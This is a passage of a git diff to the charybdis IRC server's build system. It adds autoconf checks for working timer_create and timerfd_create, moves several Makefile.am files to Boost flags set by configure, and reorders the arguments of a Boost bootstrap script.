test -d $(prefix)/@logdir@ || mkdir -p $(prefix)/@logdir@ diff --git a/m4/charybdis.m4 b/m4/charybdis.m4 index 50057e2d6..e19807204 100644 --- a/m4/charybdis.m4 +++ b/m4/charybdis.m4 @@ -56,3 +56,81 @@ int main(void); AC_MSG_RESULT(no, not using GCC) fi ]) + + +AC_DEFUN([RB_CHECK_TIMER_CREATE],[AC_CACHE_CHECK([for a working timer_create(CLOCK_REALTIME)], +[rb__cv_timer_create_works], [AC_TRY_RUN([ + +#ifdef HAVE_TIME_H +#include +#endif +#ifdef HAVE_SIGNAL_H +#include +#endif +#ifdef HAVE_UNISTD_H +#include +#endif +int main(int argc, char *argv[]) +{ +#if HAVE_TIMER_CREATE + struct sigevent ev; + timer_t timer; + ev.sigev_notify = SIGEV_SIGNAL; + ev.sigev_signo = SIGVTALRM; + if (timer_create(CLOCK_REALTIME, &ev, &timer) != 0) { + return 1; + } +#else + return 1; +#endif + return 0; +} + ], + [rb__cv_timer_create_works=yes], + [rb__cv_timer_create_works=no], + [rb__cv_timer_create_works=no]) + ]) +case $rb__cv_timer_create_works in + yes) AC_DEFINE([USE_TIMER_CREATE], 1, + [Define to 1 if we can use timer_create(CLOCK_REALTIME,...)]);; +esac +]) + + + +AC_DEFUN([RB_CHECK_TIMERFD_CREATE], [AC_CACHE_CHECK([for a working timerfd_create(CLOCK_REALTIME)], +[rb__cv_timerfd_create_works], [AC_TRY_RUN([ + +#ifdef HAVE_TIME_H +#include +#endif +#ifdef HAVE_SIGNAL_H +#include +#endif +#ifdef HAVE_UNISTD_H +#include +#endif +#ifdef HAVE_SYS_TIMERFD_H +#include +#endif +int main(int argc, char *argv[]) +{ +#if defined(HAVE_TIMERFD_CREATE) && defined(HAVE_SYS_TIMERFD_H) + if (timerfd_create(CLOCK_REALTIME, 0) < 0) { + return 1; + } +#else + return 1; +#endif + return 0; +} + ], + [rb__cv_timerfd_create_works=yes], + [rb__cv_timerfd_create_works=no], + [rb__cv_timerfd_create_works=no]) + ]) +case $rb__cv_timerfd_create_works in + yes) AC_DEFINE([USE_TIMERFD_CREATE], 1, + [Define to 1 if we can use timerfd_create(CLOCK_REALTIME,...)]);; +esac +]) diff --git a/modules/Makefile.am b/modules/Makefile.am index 49f4acce8..cdd570341 100644 --- a/modules/Makefile.am +++ b/modules/Makefile.am @@ -1,16 +1,31 @@ AUTOMAKE_OPTIONS = subdir-objects - -AM_CPPFLAGS = $(LTDLINCL) -AM_CPPFLAGS += -I$(top_srcdir)/include -AM_CPPFLAGS += -isystem $(top_srcdir)/boost/include -AM_LDFLAGS = -module -export-dynamic -avoid-version -no-undefined -shared -AM_LDFLAGS += -export-symbols-regex _mheader -AM_LDFLAGS += -L$(top_srcdir)/boost/lib -lboost_system -AM_LDFLAGS += -L$(top_srcdir)/ircd -lircd -AM_LDFLAGS += -L$(top_srcdir)/rb -lrb - auto_load_moddir=@moduledir@/autoload +AM_CPPFLAGS = \ + -I$(top_srcdir)/include \ + $(LTDLINCL) \ + @BOOST_CPPFLAGS@ + +AM_LDFLAGS = \ + -L$(top_srcdir)/ircd \ + -L$(top_srcdir)/rb \ + @BOOST_LDFLAGS@ + +AM_LDFLAGS += \ + -module \ + -export-dynamic \ + -avoid-version \ + -no-undefined \ + -shared \ + -export-symbols-regex _mheader + +AM_LDFLAGS += \ + -lircd \ + -lrb \ + @LIBLTDL@ \ + @BOOST_LIBS@ + + cap_account_tag_la_SOURCES = cap_account_tag.cc cap_server_time_la_SOURCES = cap_server_time.cc chm_nocolour_la_SOURCES = chm_nocolour.cc @@ -168,7 +183,6 @@ core_m_quit_la_SOURCES = core/m_quit.cc core_m_server_la_SOURCES = core/m_server.cc core_m_squit_la_SOURCES = core/m_squit.cc - module_LTLIBRARIES = \ core/m_ban.la \ core/m_die.la \ diff --git a/rb/Makefile.am b/rb/Makefile.am index 1a1dc693b..10eb093e9 100644 --- a/rb/Makefile.am +++ b/rb/Makefile.am @@ -2,15 +2,41 @@ AUTOMAKE_OPTIONS = foreign pkgconfigdir = $(libdir)/pkgconfig #pkgconfig_DATA = librb.pc - librbdir = @libdir@ -AM_CPPFLAGS = @SSL_CFLAGS@ @GNUTLS_CFLAGS@ @MBEDTLS_CFLAGS@ -AM_CPPFLAGS += -isystem $(top_srcdir)/boost/include -AM_CPPFLAGS += -I$(top_srcdir)/include # This is temp since all remaining C is circling the drain. AM_CFLAGS = -std=gnu99 +AM_CPPFLAGS = \ + -I$(top_srcdir)/include \ + @SSL_CFLAGS@ \ + @GNUTLS_CFLAGS@ \ + @MBEDTLS_CFLAGS@ \ + @BOOST_CPPFLAGS@ + +if MINGW +PLATFORM_LDFLAGS = -Wl,--enable-runtime-pseudo-reloc +endif + +AM_LDFLAGS = \ + -avoid-version \ + -no-undefined \ + -export-symbols export-syms.txt \ + $(PLATFORM_LDFLAGS) + +AM_LDFLAGS += \ + -L$(top_srcdir)/rb \ + @BOOST_LDFLAGS@ + + +lib_LTLIBRARIES = librb.la + +librb_la_LIBADD = \ + @SSL_LIBS@ \ + @GNUTLS_LIBS@ \ + @MBEDTLS_LIBS@ \ + @BOOST_LIBS@ + librb_la_SOURCES = \ unix.c \ win32.c \ @@ -40,10 +66,3 @@ librb_la_SOURCES = \ version.c \ terminate.cc \ rb.cc - -librb_la_LDFLAGS = @SSL_LIBS@ @GNUTLS_LIBS@ @MBEDTLS_LIBS@ -avoid-version -no-undefined -export-symbols export-syms.txt -librb_la_LDFLAGS += -L$(top_srcdir)/boost/lib - -librb_la_LIBADD = @SSL_LIBS@ @GNUTLS_LIBS@ @MBEDTLS_LIBS@ -librb_la_LIBADD += -lboost_system -lib_LTLIBRARIES = librb.la diff --git a/ssld/Makefile.am b/ssld/Makefile.am index d74b8682c..8e7acef75 100644 --- a/ssld/Makefile.am +++ b/ssld/Makefile.am @@ -1,12 +1,18 @@ +AM_CPPFLAGS = \ + -I$(top_srcdir)/include \ + @BOOST_CPPFLAGS@ + +AM_LDFLAGS = \ + -L$(top_srcdir)/rb \ + @BOOST_LDFLAGS@ + + bin_PROGRAMS = ssld -AM_CPPFLAGS = $(WARNFLAGS) -AM_CPPFLAGS += -I$(top_srcdir)/include -AM_CPPFLAGS += -I$(top_srcdir)/boost/include +ssld_LDADD = \ + -lrb \ + @ZLIB_LD@ \ + @BOOST_LIBS@ -AM_LDFLAGS = -L$(top_srcdir)/ircd -AM_LDFLAGS += -L$(top_srcdir)/rb -AM_LDFLAGS += -L$(top_srcdir)/boost/lib - -ssld_SOURCES = ssld.cc -ssld_LDADD = -lrb -lboost_system @ZLIB_LD@ +ssld_SOURCES = \ + ssld.cc diff --git a/tools/Makefile.am b/tools/Makefile.am index ce38c78fb..37e60ea4f 100644 --- a/tools/Makefile.am +++ b/tools/Makefile.am @@ -1,18 +1,32 @@ -AM_CPPFLAGS = $(WARNFLAGS) -AM_CPPFLAGS += @LTDLINCL@ -AM_CPPFLAGS += -I$(top_srcdir)/include -AM_CPPFLAGS += -isystem $(top_srcdir)/boost/include +AM_CPPFLAGS = \ + -I$(top_srcdir)/include \ + @LTDLINCL@ \ + @BOOST_CPPFLAGS@ -AM_LDFLAGS = -L$(top_srcdir)/rb -AM_LDFLAGS += -L$(top_srcdir)/boost/lib +AM_LDFLAGS = \ + @BOOST_LDFLAGS@ \ + -L$(top_srcdir)/rb -bin_PROGRAMS = charybdis-mkpasswd charybdis-mkfingerprint -charybdis_mkpasswd_SOURCES = mkpasswd.cc -charybdis_mkpasswd_LDADD = -lrb -lboost_system +bin_PROGRAMS = charybdis-mkpasswd + +charybdis_mkpasswd_LDADD = \ + -lrb \ + @BOOST_LIBS@ + +charybdis_mkpasswd_SOURCES = \ + mkpasswd.cc + + +bin_PROGRAMS += charybdis-mkfingerprint + +charybdis_mkfingerprint_LDADD = \ + -lrb \ + @BOOST_LIBS@ + +charybdis_mkfingerprint_SOURCES = \ + mkfingerprint.cc -charybdis_mkfingerprint_SOURCES = mkfingerprint.cc -charybdis_mkfingerprint_LDADD = -lrb -lboost_system mrproper-local: rm -f genssl diff --git a/tools/boostrap.sh b/tools/boostrap.sh index 37a4e8bfa..dee330615 100755 --- a/tools/boostrap.sh +++ b/tools/boostrap.sh @@ -1,11 +1,11 @@ #!/bin/bash -TOPDIR=$1 # This should be an absolute path to the repo root +BTOOLSET=$1 # The platform toolchain name (gcc, clang, mingw, ...) BLIBS=$2 # A comma-separated list of which boost libs to build -BTOOLSET=$3 # The platform toolchain name (gcc, clang, mingw, ...) -BVARIANT=$4 # release optimization or debug symbols etc -BLINK=$5 # whether to build with shared or static linkage (we like shared) -BTHREADING=$6 # whether to build with thread-safety (we benefit from SINGLE THREADED) +BVARIANT=$3 # release optimization or debug symbols etc +BLINK=$4 # whether to build with shared or static linkage (we like shared) +BTHREADING=$5 # whether to build with thread-safety (we benefit from SINGLE THREADED) +TOPDIR=$6 # This should be an absolute path to the repo root if [ -z $TOPDIR ]; then @@ -127,7 +127,7 @@ run git submodule update --init --recursive libs/date_time run git submodule update --init --recursive libs/smart_ptr run git submodule update --init --recursive libs/bind -run ./bootstrap.sh --prefix=`pwd` --with-libraries=$BLIBS $BSFLAGS +run ./bootstrap.sh --prefix=$PWD --libdir=$PWD/lib --with-libraries=$BLIBS $BSFLAGS run ./b2 threading=$BTHREADING variant=$BVARIANT link=$BLINK address-model=64 ### Install should go right into this local submodule repository diff --git a/wsockd/Makefile.am b/wsockd/Makefile.am index 9a11fe9de..b8c8429d3 100644 --- a/wsockd/Makefile.am +++ b/wsockd/Makefile.am @@ -1,11 +1,18 @@ +AM_CPPFLAGS = \ + -I$(top_srcdir)/include \ + @BOOST_CPPFLAGS@ + +AM_LDFLAGS = \ + -L$(top_srcdir)/rb \ + @BOOST_LDFLAGS@ + + bin_PROGRAMS = wsockd -AM_CPPFLAGS = $(WARNFLAGS) -AM_CPPFLAGS += -isystem $(top_srcdir)/boost/include -AM_CPPFLAGS += -I$(top_srcdir)/include +wsockd_LDADD = \ + -lrb \ + @BOOST_LIBS@ -AM_LDFLAGS = -L$(top_srcdir)/rb -AM_LDFLAGS += -L$(top_srcdir)/boost/lib - -wsockd_SOURCES = wsockd.cc sha1.c -wsockd_LDADD = -lrb -lboost_system +wsockd_SOURCES = \ + wsockd.cc \ + sha1.c